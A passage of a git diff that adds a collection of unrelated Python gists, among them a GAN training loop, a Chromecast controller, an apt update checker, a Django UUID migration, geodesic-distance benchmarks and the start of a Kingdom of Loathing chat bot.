+color_grid_vis(vaX_vis, (20, 20), 'samples/%s_etl_test.png'%desc)
+
+sample_zmb = floatX(np_rng.uniform(-1., 1., size=(nvis, nz)))
+
+def gen_samples(n, nbatch=128):
+    samples = []
+    n_gen = 0
+    for i in range(n/nbatch):
+        zmb = floatX(np_rng.uniform(-1., 1., size=(nbatch, nz)))
+        xmb = _gen(zmb)
+        samples.append(xmb)
+        n_gen += len(xmb)
+    n_left = n-n_gen
+    zmb = floatX(np_rng.uniform(-1., 1., size=(n_left, nz)))
+    xmb = _gen(zmb)
+    samples.append(xmb)
+    return np.concatenate(samples, axis=0)
+
+f_log = open('logs/%s.ndjson'%desc, 'wb')
+log_fields = [
+    'n_epochs',
+    'n_updates',
+    'n_examples',
+    'n_seconds',
+    '1k_va_nnd',
+    '10k_va_nnd',
+    '100k_va_nnd',
+    'g_cost',
+    'd_cost',
+]
+
+vaX = vaX.reshape(len(vaX), -1)
+
+print desc.upper()
+k = 1
+n_updates = 0
+n_check = 0
+n_epochs = 0
+n_updates = 0
+n_examples = 0
+t = time()
+for epoch in range(1, niter+niter_decay+1):
+    for imb, ymb in tqdm(tr_stream.get_epoch_iterator(), total=ntrain/nbatch):
+        imb = transform(imb)
+        zmb = floatX(np_rng.uniform(-1., 1., size=(len(imb), nz)))
+        if n_updates % (k+1) == 0:
+            cost = _train_g(imb, zmb)
+        else:
+            cost = _train_d(imb, zmb)
+        n_updates += 1
+        n_examples += len(imb)
+    if (epoch-1) % 5 == 0:
+        g_cost = float(cost[0])
+        d_cost = float(cost[1])
+        gX = gen_samples(100000)
+        gX = gX.reshape(len(gX), -1)
+        va_nnd_1k = nnd_score(gX[:1000], vaX, metric='euclidean')
+        va_nnd_10k = nnd_score(gX[:10000], vaX, metric='euclidean')
+        va_nnd_100k = nnd_score(gX[:100000], vaX, metric='euclidean')
+        log = [n_epochs, n_updates, n_examples, time()-t, va_nnd_1k, va_nnd_10k, va_nnd_100k, g_cost, d_cost]
+        print '%.0f %.2f %.2f %.2f %.4f %.4f'%(epoch, va_nnd_1k, va_nnd_10k, va_nnd_100k, g_cost, d_cost)
+        f_log.write(json.dumps(dict(zip(log_fields, log)))+'\n')
+        f_log.flush()
+
+    samples = np.asarray(_gen(sample_zmb))
+    color_grid_vis(inverse_transform(samples), (20, 20), 'samples/%s/%d.png'%(desc, n_epochs))
+    n_epochs += 1
+    if n_epochs > niter:
+        lrt.set_value(floatX(lrt.get_value() - lr/niter_decay))
+    if n_epochs in [1, 2, 3, 4, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 60, 70, 80, 90, 100]:
+        joblib.dump([p.get_value() for p in gen_params], 'models/%s/%d_gen_params.jl'%(desc, n_epochs))
+        joblib.dump([p.get_value() for p in discrim_params], 'models/%s/%d_discrim_params.jl'%(desc, n_epochs))
diff --git a/hard-gists/8b100c205b8c35b3c8ce/._snippet.py b/hard-gists/8b100c205b8c35b3c8ce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8b100c205b8c35b3c8ce/._snippet.py differ
diff --git a/hard-gists/8b100c205b8c35b3c8ce/snippet.py b/hard-gists/8b100c205b8c35b3c8ce/snippet.py
new file mode 100644
index 00000000..f3b25430
--- /dev/null
+++ b/hard-gists/8b100c205b8c35b3c8ce/snippet.py
@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+# requires pychromecast and probably python 2.7, sorry
+
+import pychromecast
+import argparse
+
+def play_video(url, cast):
+    if cast.media_controller.status.player_state == "PAUSED" or cast.media_controller.status.content_id == url:
+        cast.media_controller.play()
+    else:
+        cast.play_media((url), "video/mp4")
+
+def pause_video(cast):
+    if cast.media_controller.status.supports_pause:
+        cast.media_controller.pause()
+    else:
+        print "Cannot pause"
+
+def stop_video(cast):
+    cast.quit_app()
+
+def main():
+    casts = pychromecast.get_chromecasts_as_dict()
+    parser = argparse.ArgumentParser()
+    parser.add_argument("url", nargs="?", help="URL of media to play. Doesn't support local addresses yet.")
+#    parser.add_argument("-p", "--pause", help="Pause playback", action='store_true')
+    parser.add_argument("-s", "--stop", help="Stop playback", action='store_true')
+    parser.add_argument("-d", "--device", help="Select device. List devices with -D")
+    parser.add_argument("-D", "--devices", help="List devices", action='store_true')
+    args = parser.parse_args()
+    if args.devices:
+        print ", ".join(casts.keys())
+        return
+    if args.device:
+        cast = casts[args.device]
+    else:
+        cast = casts[casts.keys()[0]]
+    if not args.stop:
+        play_video(args.url, cast)
+        return
+#    elif args.pause:
+#        pause_video(cast)
+#        return
+    elif args.stop:
+        stop_video(cast)
+        return
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/8b1502a49d8b20a6ae70/._snippet.py b/hard-gists/8b1502a49d8b20a6ae70/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8b1502a49d8b20a6ae70/._snippet.py differ
diff --git a/hard-gists/8b1502a49d8b20a6ae70/snippet.py b/hard-gists/8b1502a49d8b20a6ae70/snippet.py
new file mode 100644
index 00000000..869b3ad9
--- /dev/null
+++ b/hard-gists/8b1502a49d8b20a6ae70/snippet.py
@@ -0,0 +1,152 @@
+#!/usr/bin/env python
+#coding=utf-8
+
+import apt
+import apt_pkg
+from time import strftime
+import os
+import subprocess
+import sys
+
+
+"""
+Following functions are used to return package info of available updates.
+See: /usr/lib/update-notifier/apt_check.py
+"""
+SYNAPTIC_PINFILE = "/var/lib/synaptic/preferences"
+DISTRO = subprocess.check_output(["lsb_release", "-c", "-s"],
+                                 universal_newlines=True).strip()
+
+
+def clean(cache,depcache):
+    """ unmark (clean) all changes from the given depcache """
+    # mvo: looping is too inefficient with the new auto-mark code
+    # for pkg in cache.Packages:
+    #    depcache.MarkKeep(pkg)
+    depcache.init()
+
+
+def saveDistUpgrade(cache,depcache):
+    """ this functions mimics a upgrade but will never remove anything """
+    depcache.upgrade(True)
+    if depcache.del_count > 0:
+        clean(cache,depcache)
+    depcache.upgrade()
+
+
+def get_update_packages():
+    """
+    Return a list of dict about package updates
+    """
+    pkgs = []
+
+    apt_pkg.init()
+    # force apt to build its caches in memory for now to make sure
+    # that there is no race when the pkgcache file gets re-generated
+    apt_pkg.config.set("Dir::Cache::pkgcache","")
+
+    try:
+        cache = apt_pkg.Cache(apt.progress.base.OpProgress())
+    except SystemError as e:
+        sys.stderr.write("Error: Opening the cache (%s)" % e)
+        sys.exit(-1)
+
+    depcache = apt_pkg.DepCache(cache)
+    # read the pin files
+    depcache.read_pinfile()
+    # read the synaptic pins too
+    if os.path.exists(SYNAPTIC_PINFILE):
+        depcache.read_pinfile(SYNAPTIC_PINFILE)
+    # init the depcache
+    depcache.init()
+
+    try:
+        saveDistUpgrade(cache,depcache)
+    except SystemError as e:
+        sys.stderr.write("Error: Marking the upgrade (%s)" % e)
+        sys.exit(-1)
+
+    # use assignment here since apt.Cache() doesn't provide a __exit__ method
+    # on Ubuntu 12.04 it looks like
+    # aptcache = apt.Cache()
+    for pkg in cache.packages:
+        if not (depcache.marked_install(pkg) or depcache.marked_upgrade(pkg)):
+            continue
+        inst_ver = pkg.current_ver
+        cand_ver = depcache.get_candidate_ver(pkg)
+        if cand_ver == inst_ver:
+            continue
+        record = {"name": pkg.name,
+                  "security": isSecurityUpgrade(pkg, depcache),
+                  "section": pkg.section,
+                  "current_version": inst_ver.ver_str if inst_ver else '-',
+                  "candidate_version": cand_ver.ver_str  if cand_ver else '-',
+                  "priority": cand_ver.priority_str}
+        pkgs.append(record)
+
+    return pkgs
+
+
+def isSecurityUpgrade(pkg, depcache):
+
+    def isSecurityUpgrade_helper(ver):
+        """ check if the given version is a security update (or masks one) """
+        security_pockets = [("Ubuntu", "%s-security" % DISTRO),
+                            ("gNewSense", "%s-security" % DISTRO),
+                            ("Debian", "%s-updates" % DISTRO)]
+
+        for (file, index) in ver.file_list:
+            for origin, archive in security_pockets:
+                if (file.archive == archive and file.origin == origin):
+                    return True
+        return False
+    inst_ver = pkg.current_ver
+    cand_ver = depcache.get_candidate_ver(pkg)
+
+    if isSecurityUpgrade_helper(cand_ver):
+        return True
+
+    # now check for security updates that are masked by a
+    # canidate version from another repo (-proposed or -updates)
+    for ver in pkg.version_list:
+        if (inst_ver and
+            apt_pkg.version_compare(ver.ver_str, inst_ver.ver_str) <= 0):
+            #print "skipping '%s' " % ver.VerStr
+            continue
+        if isSecurityUpgrade_helper(ver):
+            return True
+
+    return False
+
+
+def print_result(pkgs):
+    """
+    Print package updates in a table
+    """
+    security_updates = filter(lambda x: x.get('security'), pkgs)
+    text = list()
+    text.append('Check Time: %s' % strftime('%m/%d/%Y %H:%M:%S'))
+    if not pkgs:
+        text.append('No available updates on this machine.')
+    else:
+        # Updates are available, build a table
+        text.append('%d packages can be updated.' % len(pkgs))
+        text.append('%d updates are security updates.' % len(security_updates))
+        text.append('-' * 100)
+        # List available security updates
+        text.append('Package Name'.ljust(30) +
+                    'Current Version'.ljust(30) +
+                    'Latest Version'.ljust(30) +
+                    'Security'.ljust(10))
+        text.append('-' * 100)
+        for pkg in pkgs:
+            text.append('{:<30}{:<30}{:<30}{:<10}'.format(pkg.get('name'),
+                pkg.get('current_version'),
+                pkg.get('candidate_version'),
+                '*' if pkg.get('security') else ''))
+    text.append('=' * 100)
+    return '\n'.join(text)
+
+if __name__ == '__main__':
+    pkgs = get_update_packages()
+    print print_result(pkgs)
diff --git a/hard-gists/8b1b456ec95d95c77d42/._snippet.py b/hard-gists/8b1b456ec95d95c77d42/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8b1b456ec95d95c77d42/._snippet.py differ
diff --git a/hard-gists/8b1b456ec95d95c77d42/snippet.py b/hard-gists/8b1b456ec95d95c77d42/snippet.py
new file mode 100644
index 00000000..4a279343
--- /dev/null
+++ b/hard-gists/8b1b456ec95d95c77d42/snippet.py
@@ -0,0 +1,115 @@
+from PySide import QtGui
+
+
+class QDictBox(QtGui.QDialog):
+    WIDGETS = {str: QtGui.QLineEdit,
+               unicode: QtGui.QLineEdit,
+               int: QtGui.QSpinBox,
+               float: QtGui.QDoubleSpinBox,
+               list: QtGui.QComboBox,
+               bool: QtGui.QCheckBox}
+    GETTERS = {QtGui.QLineEdit: "text",
+               QtGui.QSpinBox: "value",
+               QtGui.QDoubleSpinBox: "value",
+               QtGui.QComboBox: "currentText",
+               QtGui.QCheckBox: "isChecked"}
+    SETTERS = {QtGui.QLineEdit: "setText",
+               QtGui.QSpinBox: "setValue",
+               QtGui.QDoubleSpinBox: "setValue",
+               QtGui.QComboBox: "addItems",
+               QtGui.QCheckBox: "setChecked"}
+    VALIDATORS = {QtGui.QLineEdit: lambda x: bool(len(x)),
+                  QtGui.QSpinBox: lambda x: True,
+                  QtGui.QDoubleSpinBox: lambda x: True,
+                  QtGui.QComboBox: lambda x: True,
+                  QtGui.QCheckBox: lambda x: True}
+
+    @classmethod
+    def getValues(cls, parent, options, required=None, title=None):
+        d = cls(parent, options, required, title)
+
+        ok = d.exec_()
+        return d.values if ok else {}
+
+    def __init__(self, parent, options, required=None, title=None):
+        super(QDictBox, self).__init__(parent)
+        self.__widgets = dict()
+        self.__values = dict()
+
+        if title:
+            self.setWindowTitle(title)
+
+        self.required = required or list()
+        if len(options) == 1:
+            self.required.append(options.keys()[0])
+
+        _firstWidget = None
+        formLayout = QtGui.QFormLayout()
+        for k, v in options.iteritems():
+            if isinstance(v, (list, tuple)):
+                v = [str(x) for x in v]
+
+            label = QtGui.QLabel(beautifyText(k))
+            widget = self.WIDGETS[type(v)]()
+            getattr(widget, self.SETTERS[type(widget)])(v)
+
+            if k in self.required:
+                label.setStyleSheet("color: red;")
+
+            self.__widgets[k] = (label, widget)
+            formLayout.addRow(label, widget)
+
+            if _firstWidget is None:
+                _firstWidget = widget
+
+        scrollArea = QtGui.QScrollArea()
+        scrollArea.setWidgetResizable(True)
+        scrollArea.setFrameShape(QtGui.QFrame.Shape(0))  # no frame
+        w = QtGui.QWidget()
+        w.setLayout(formLayout)
+        scrollArea.setWidget(w)
+
+        buttons = QtGui.QDialogButtonBox(
+            QtGui.QDialogButtonBox.Ok | QtGui.QDialogButtonBox.Cancel)
+        buttons.accepted.connect(self.accept)
+        buttons.rejected.connect(self.reject)
+
+        layout = QtGui.QVBoxLayout()
+        layout.addWidget(scrollArea)
+        layout.addWidget(buttons)
+        self.setLayout(layout)
+
+        _firstWidget.setFocus()
+
+    def accept(self):
+        for k, (label, widget) in self.widgets.iteritems():
+            value = getattr(widget, self.GETTERS[type(widget)])()
+            self.__values[k] = value
+
+        for k in self.required:
+            value = self.values[k]
+            label, widget = self.widgets[k]
+            if not self.VALIDATORS[type(widget)](value) and widget.isVisible():
+                widget.setFocus()
+                return
+
+        return super(QDictBox, self).accept()
+
+    @property
+    def widgets(self):
+        return self.__widgets
+
+    @property
+    def values(self):
+        return self.__values
+
+
+def beautifyText(camelCasedText):
+    rval = ""
+    for i, ch in enumerate(camelCasedText):
+        if i == 0:
+            ch = ch.upper()
+        elif ch.isupper():
+            ch = " " + ch
+        rval += ch
+    return rval
\ No newline at end of file
diff --git a/hard-gists/8b6f09310a847e0a7aed/._snippet.py b/hard-gists/8b6f09310a847e0a7aed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8b6f09310a847e0a7aed/._snippet.py differ
diff --git a/hard-gists/8b6f09310a847e0a7aed/snippet.py b/hard-gists/8b6f09310a847e0a7aed/snippet.py
new file mode 100644
index 00000000..f807eca3
--- /dev/null
+++ b/hard-gists/8b6f09310a847e0a7aed/snippet.py
@@ -0,0 +1,78 @@
+#!/usr/bin/python
+'''
+reposado update notification: reports changed Apple products between repo_sync runs
+
+Checks the current list of updates versus the previous list of updates and
+reports on the changes. Run this script after your repo_sync run to see the
+changes between syncs. You can then hand this report off in email if you wish.
+
+For example:
+
+  repo_sync
+  reponotify.py | mail -Es 'Reposado updates' reposado@example.com
+
+Note that this script requires write permission in the UpdatesRootDir
+directory of your reposado. This is so that it can write the tracking file
+that is used between runs to compute the difference in update lists.
+
+Note also it needs access to the "reposadocommon" Python library. This means
+you probably want to place it in the "code" directory of your reposado
+installation.
+'''
+
+from reposadolib import reposadocommon
+from sys import exit
+import os
+import pickle
+
+root_dir = reposadocommon.pref('UpdatesRootDir')
+state_file = os.path.join(root_dir, 'reponotify.pickle')
+
+products = reposadocommon.getProductInfo()
+
+cur_apple_prods = []
+
+for prod_id in products.keys():
+	if len(products[prod_id]['AppleCatalogs']) > 0:
+		cur_apple_prods.append(prod_id)
+
+try:
+	with open(state_file, 'rb') as pF:
+		prev_apple_prods = pickle.load(pF)
+except:
+	# if there's a problem reading the file then assume we're "up to date" by
+	# assigning all the current updates to the previous updates (no deltas)
+	prev_apple_prods = cur_apple_prods
+
+cur_set = set(cur_apple_prods)
+prev_set = set(prev_apple_prods)
+
+new_prods = cur_set.difference(prev_set)
+del_prods = prev_set.difference(cur_set)
+
+if new_prods:
+	config_data_prods = reposadocommon.check_or_remove_config_data_attribute(new_prods, products=products)
+	print 'New Products Added to Apple Catalog'
+	print
+	for prod_id in new_prods:
+		print prod_id,
+		if prod_id in config_data_prods:
+			print '(Config)',
+		print products[prod_id]['title'].encode('utf-8'),
+		print products[prod_id]['version'],
+		print products[prod_id]['PostDate']
+	print
+
+if del_prods:
+	print 'Deprecated Products Removed from Apple Catalog (but possibly still in repo)'
+	print
+	for prod_id in del_prods:
+		print prod_id,
+		if prod_id in products.keys():
+			print products[prod_id]['title'].encode('utf-8'),
+			print products[prod_id]['version'],
+			print products[prod_id]['PostDate']
+	print
+
+with open(state_file, 'wb') as pF:
+	pickle.dump(cur_apple_prods, pF)
diff --git a/hard-gists/8b799c0345eaba56cc8c/._snippet.py b/hard-gists/8b799c0345eaba56cc8c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8b799c0345eaba56cc8c/._snippet.py differ
diff --git a/hard-gists/8b799c0345eaba56cc8c/snippet.py b/hard-gists/8b799c0345eaba56cc8c/snippet.py
new file mode 100644
index 00000000..7febd954
--- /dev/null
+++ b/hard-gists/8b799c0345eaba56cc8c/snippet.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+# 1. Save this file in your ~/.gimp-2.8/plug-ins/ directory
+# 2. Run gimp from terminal
+# 3. Go to Filters/Python-Fu/IPython Console
+# 4. Go back to terminal to enjoy interactive Gimp scripting
+#
+import gimpfu
+import gimp
+from gimpfu import pdb
+
+_pdb_types = dict([(getattr(gimpfu,pf),pf) for pf in dir(gimpfu) if pf.startswith('PDB_')])
+_str_params = lambda params: ['%s %s: %s' % (param[1], _pdb_types.get(param[0]), param[2]) for param in params]
+
+def pdb_help(procedure):
+    """
+    Convenient function to display help on a Gimp pdb procedure : 
+    Example : 
+        pdb.query('png-save')
+        pdb_help(pdb.file_png_save)
+    """
+    proc_attrs = [(a,getattr(procedure,a)) for a in dir(procedure) if a.startswith('proc_')]
+    io_attrs = [(a,_str_params(getattr(procedure,a))) for a in dir(procedure) if a in ('params','return_vals')]
+    return proc_attrs + io_attrs
+
+def ipython_embed(image, layer):
+    import IPython
+    IPython.embed()
+
+gimpfu.register("IPython-Console", "IPython Interpreter",
+                "Launches IPython interpreter in terminal",
+                "Nic", "Nicolas CORNETTE", "2014",
+                "<Image>/Filters/Languages/Python-Fu/_IPython Console",
+                "", [], [], ipython_embed)
+gimpfu.main()
diff --git a/hard-gists/8bb867dc631433c01fd0/._snippet.py b/hard-gists/8bb867dc631433c01fd0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8bb867dc631433c01fd0/._snippet.py differ
diff --git a/hard-gists/8bb867dc631433c01fd0/snippet.py b/hard-gists/8bb867dc631433c01fd0/snippet.py
new file mode 100644
index 00000000..16cfd943
--- /dev/null
+++ b/hard-gists/8bb867dc631433c01fd0/snippet.py
@@ -0,0 +1,55 @@
+# -*- coding: utf-8 -*-
+from __future__ import unicode_literals
+import uuid
+
+from django.db import migrations, models
+
+
+def fill_mymodel_uuid(apps, schema_editor):
+    db_alias = schema_editor.connection.alias
+    MyModel = apps.get_model('myapp', 'MyModel')
+    for obj in MyModel.objects.using(db_alias).all():
+        obj.uuid = uuid.uuid4()
+        obj.save()
+
+
+class Migration(migrations.Migration):
+    """ Change model with integer pk to UUID pk.  This migration presumes there
+    are no db constraints (foreign keys) to this table.
+    
+    Note: this migration is not reversible.  See the comment above the
+    `RemoveField` operation.  Further, this migration is possible in part due
+    to the fact that there are currenty no foreign key restraints to this table.
+    """
+
+    dependencies = [
+        # ...
+    ]
+
+    operations = [
+        migrations.AddField(
+            model_name='mymodel',
+            name='uuid',
+            field=models.UUIDField(null=True),
+        ),
+        migrations.RunPython(fill_mymodel_uuid, migrations.RunPython.noop),
+        migrations.AlterField(
+            model_name='mymodel',
+            name='uuid',
+            field=models.UUIDField(default=uuid.uuid4, serialize=False, editable=False, unique=True),
+        ),
+        # this RemoveField operation is irreversible, because in order to
+        # recreate it, the primary key constraint on the UUIDField would first
+        # have to be dropped.
+        migrations.RemoveField('MyModel', 'id'),
+        migrations.RenameField(
+            model_name='mymodel',
+            old_name='uuid',
+            new_name='id'
+        ),
+        migrations.AlterField(
+            model_name='mymodel',
+            name='id',
+            field=models.UUIDField(primary_key=True, default=uuid.uuid4, serialize=False, editable=False, unique=True),
+        ),
+    ]
diff --git a/hard-gists/8bbcc202a915e965c6a6d4f561d0e482/._snippet.py b/hard-gists/8bbcc202a915e965c6a6d4f561d0e482/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8bbcc202a915e965c6a6d4f561d0e482/._snippet.py differ
diff --git a/hard-gists/8bbcc202a915e965c6a6d4f561d0e482/snippet.py b/hard-gists/8bbcc202a915e965c6a6d4f561d0e482/snippet.py
new file mode 100644
index 00000000..a88b7dd0
--- /dev/null
+++ b/hard-gists/8bbcc202a915e965c6a6d4f561d0e482/snippet.py
@@ -0,0 +1,144 @@
+'''
+Requirements:
+    geographiclib==1.46.3
+    pyproj==1.9.5.1
+    geopy==1.11.0
+    git+https://github.com/xoolive/geodesy@c4eb611cc225908872715f7558ca6a686271327a
+'''
+from math import radians, sin, cos, asin, sqrt, pi, atan, atan2, fabs
+from time import time
+import geopy.distance
+import pyproj
+from geographiclib.geodesic import Geodesic, Constants
+
+import geodesy.sphere as geo
+
+geod = pyproj.Geod(ellps='WGS84')
+geodesic = Geodesic(a=Constants.WGS84_a,f=Constants.WGS84_f)
+
+p_minsk = (27.561831, 53.902257)
+p_moscow = (37.620393, 55.75396)
+
+# https://en.wikipedia.org/wiki/Earth_radius#Mean_radius
+EARTH_MEAN_RADIUS = 6371008.8
+EARTH_MEAN_DIAMETER = 2 * EARTH_MEAN_RADIUS
+
+# https://en.wikipedia.org/wiki/Earth_radius#Equatorial_radius
+EARTH_EQUATORIAL_RADIUS = 6378137.0
+EARTH_EQUATORIAL_METERS_PER_DEGREE = pi * EARTH_EQUATORIAL_RADIUS / 180 # 111319.49079327358
+I_EARTH_EQUATORIAL_METERS_PER_DEGREE = 1 / EARTH_EQUATORIAL_METERS_PER_DEGREE
+
+def approximate_distance(point1, point2):
+    '''
+        Approximate calculation distance
+        (expanding the trigonometric functions around the midpoint)
+    '''
+
+    lon1, lat1 = (radians(coord) for coord in point1)
+    lon2, lat2 = (radians(coord) for coord in point2)
+    cos_lat = cos((lat1+lat2)/2.0)
+    dx = (lat2 - lat1)
+    dy = (cos_lat*(lon2 - lon1))
+    return EARTH_MEAN_RADIUS*sqrt(dx**2 + dy**2)
+
+
+def haversine_distance(point1, point2):
+    '''
+        Calculating haversine distance between two points
+        (see https://en.wikipedia.org/wiki/Haversine_formula,
+            https://www.math.ksu.edu/~dbski/writings/haversine.pdf)
+
+        Is numerically better-conditioned for small distances
+    '''
+    lon1, lat1 = (radians(coord) for coord in point1[:2])
+    lon2, lat2 = (radians(coord) for coord in point2[:2])
+    dlat = (lat2 - lat1)
+    dlon = (lon2 - lon1)
+    a = (
+        sin(dlat * 0.5)**2 +
+        cos(lat1) * cos(lat2) * sin(dlon * 0.5)**2
+    )
+
+    return EARTH_MEAN_DIAMETER * asin(sqrt(a))
+
+
+def great_circle(point1, point2):
+    '''
+        Calculating great-circle distance
+        (see https://en.wikipedia.org/wiki/Great-circle_distance)
+    '''
+    lon1, lat1 = (radians(coord) for coord in point1)
+    lon2, lat2 = (radians(coord) for coord in point2)
+
+    dlon = fabs(lon1 - lon2)
+    dlat = fabs(lat1 - lat2)
+
+    numerator = sqrt(
+        (cos(lat2)*sin(dlon))**2 +
+        ((cos(lat1)*sin(lat2)) - (sin(lat1)*cos(lat2)*cos(dlon)))**2)
+
+    denominator = (
+        (sin(lat1)*sin(lat2)) +
+        (cos(lat1)*cos(lat2)*cos(dlon)))
+
+    c = atan2(numerator, denominator)
+    return EARTH_MEAN_RADIUS*c
+
+# 1
+t = time()
+for i in range(1000000):
+    distance = haversine_distance(p_minsk, p_moscow)
+print("#1 haversine fun: %s (%s)" % (distance, time() - t))
+
+# 2
+t = time()
+for i in range(1000000):
+    distance = great_circle(p_minsk, p_moscow)
+print("#2 great circle fun: %s (%s)" % (distance, time() - t))
+
+# 3
+t = time()
+for i in range(1000000):
+    distance = geopy.distance.vincenty(p_minsk[::-1], p_moscow[::-1], ellipsoid='WGS-84').meters
+print("#3 geopy: %s (%s)" %  (distance, time() - t))
+
+# 4
+# http://jswhit.github.io/pyproj/pyproj.Geod-class.html#inv
+t = time()
+for i in range(1000000):
+    _az12, _az21, distance = geod.inv(*list(p_minsk + p_moscow))
+print("#4 pyproj: %s (%s)" % (distance, time() - t))
+
+# 5
+# http://geographiclib.sourceforge.net/1.46/python/code.html#geographiclib.geodesic.Geodesic.Inverse
+t = time()
+for i in range(1000000):
+    r = geodesic.Inverse(*(p_minsk[::-1] + p_moscow[::-1]), outmask=geodesic.DISTANCE)
+print("#5 geographiclib: %s (%s)" % (r['s12'], time() - t))
+
+# 6
+# https://github.com/xoolive/geodesy
+t = time()
+for i in range(1000000):
+    d = geo.distance(p_minsk[::-1], p_moscow[::-1])
+print("#6 geodesy: %s (%s)" % (d, time() - t))
+
+'''
+#1 haversine fun: 675656.2994818708 (2.1997811794281006)
+#2 great circle fun: 675656.2994818711 (2.8947739601135254)
+#3 geopy: 677789.5312317797 (32.68954396247864)
+#4 pyproj: 677789.531232748 (11.323993921279907)
+#5 geographiclib: 677789.5312327482 (195.3897831439972)
+#6 geodesy: 675655.366226931 (0.7595169544219971)
+'''
+
+
+'''
+Using PostGIS
+
+# select ST_Length(ST_GeomFromText('LINESTRING(27.561831 53.902257, 37.620393 55.75396)',4326), true) as length;
+      length
+------------------
+ 677789.531232748
+(1 row)
+'''
diff --git a/hard-gists/8bc573bb3a970b1c214d/._snippet.py b/hard-gists/8bc573bb3a970b1c214d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8bc573bb3a970b1c214d/._snippet.py differ
diff --git a/hard-gists/8bc573bb3a970b1c214d/snippet.py b/hard-gists/8bc573bb3a970b1c214d/snippet.py
new file mode 100644
index 00000000..389f7d5d
--- /dev/null
+++ b/hard-gists/8bc573bb3a970b1c214d/snippet.py
@@ -0,0 +1,29 @@
+# NewFileAtCurrentFolder
+
+import sublime_plugin
+import os.path
+
+class NewFileListener(sublime_plugin.EventListener):
+    def on_new_async(self, view):
+        if not view.window().active_view():
+            print("NF: no view")
+            return
+
+        newView = view.window().active_view()
+        index = view.window().views().index(newView)
+        lastView = view.window().views()[index - 1]
+        if not lastView:
+            print("NF: no lastView")
+            return
+
+        fileName = lastView.file_name()
+        if not fileName:
+            print("NF: no fileName")
+            return
+
+        basePath = os.path.dirname(fileName)
+        if not basePath:
+            print("NF: no basePath")
+            return
+        print("NF: "+basePath)
+        newView.settings().set('default_dir', basePath)
diff --git a/hard-gists/8be20f6256f9fd474c05/._snippet.py b/hard-gists/8be20f6256f9fd474c05/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8be20f6256f9fd474c05/._snippet.py differ
diff --git a/hard-gists/8be20f6256f9fd474c05/snippet.py b/hard-gists/8be20f6256f9fd474c05/snippet.py
new file mode 100644
index 00000000..26244f58
--- /dev/null
+++ b/hard-gists/8be20f6256f9fd474c05/snippet.py
@@ -0,0 +1,216 @@
+#!/usr/bin/python
+
+import re
+import signal
+import sys
+import time
+
+from requests.exceptions import ConnectionError
+
+from kol.Session import Session
+from kol.Error import Error
+from kol.manager.ChatManager import ChatManager
+from kol.request.GenericRequest import GenericRequest
+from kol.request.GetMessagesRequest import GetMessagesRequest
+from kol.request.DeleteMessagesRequest import DeleteMessagesRequest
+from kol.request.CursePlayerRequest import CursePlayerRequest
+
+# Config
+_username = 'SignBot/q'
+_password = "This isn't really the password."
+
+# Bullshit
+reload(sys)
+sys.setdefaultencoding('utf8')
+
+
+class SignBot(object):
+    def __init__(self,
+                 username, password, out=sys.stdout, fmt='%Y-%m-%d %H:%M:%S',
+                 caps={'sign': True, 'spider': True, 'arrow': True}):
+        """
+        username, password
+            The KoL login credentials of your bot account.
+
+        out
+            Unless otherwise specified, the bot logs to sys.stdout. Provide
+            an object with a write() method (like an open file) to change.
+            (We won't close it.)
+
+        fmt
+            Format for the log timestamps.
+
+        caps
+            By default, the bot responds to blue messages by reporting
+            "KICK ME" sign status, and to green messages by using rubber
+            spiders and time's arrows contained therein.
+            Set caps['sign'], caps['spider'], and/or caps['arrow'] to False
+            (or omit them) to disable specific behaviours.
+
+        Once the bot object is constructed, run it with go().
+        """
+        self.username, self.password = username, password
+        self.out, self.fmt, self.caps = out, fmt, caps
+        self.start, self.actions = time.time(), 0
+
+    def go(self):
+        """
+        Actually run the bot.
+        """
+        self.log('Logging in.')
+        self.__session = Session()
+        self.__session.login(self.username, self.password)
+        self.__chat = ChatManager(self.__session)
+
+        while True:
+            for msg in self.__fetch_chat_messages():
+                if msg['type'] == 'private' and self.caps.get('sign', False):
+                    # Got a blue message! Report "KICK ME" sign status
+                    self.log('{userName} (#{userId}) sent me '
+                             'a blue message: "{text}"'.format(**msg))
+                    self.__sign(msg['userId'])
+
+                elif msg['type'] == 'notification:kmail':
+                    # Got a green message!
+                    self.log('{userName} (#{userId}) sent me '
+                             'a green message.'.format(**msg))
+
+                    # Fetch it and examine it
+                    kmail = self.__get_kmail(msg['userName'])
+                    if kmail['text']:
+                        self.log('They said: "{}"'.format(kmail['text']))
+                    if kmail['meat'] > 0:
+                        self.log('They sent {} meat.'.format(kmail['meat']))
+
+                    # Look at the items they sent
+                    for item in kmail['items']:
+                        self.log('They sent {} {}.'.format(
+                            item['quantity'],
+                            item['name'] if item['quantity'] == 1
+                            else item['plural']))
+                        if item['id'] == 7698 and self.caps.get('spider', False):
+                            # Rubber spider
+                            self.__use_spider(msg['userId'])
+                        elif item['id'] == 4939 and self.caps.get('arrow', False):
+                            # Time's arrow
+                            self.__use_arrow(msg['userId'])
+
+                    # Don't keep it
+                    self.__del_kmail(kmail['id'])
+            time.sleep(1)
+
+    def __del__(self):
+        # Convert running time to a human-readable format
+        hours, t = divmod(time.time() - self.start, 3600)
+        minutes, seconds = divmod(t, 60)
+        duration = []
+        if hours:
+            duration.append('{} hours'.format(int(hours)))
+        if minutes:
+            duration.append('{} minutes'.format(int(minutes)))
+        if seconds:
+            duration.append('{} seconds'.format(int(seconds)))
+        if not duration:
+            duration = 'a moment'
+        else:
+            duration = ' and '.join(duration)
+
+        # Last words
+        self.log("I existed for {}, helped {} {}, and now I am dead.".format(
+            duration, self.actions, 'people' if self.actions != 1 else 'person'))
+
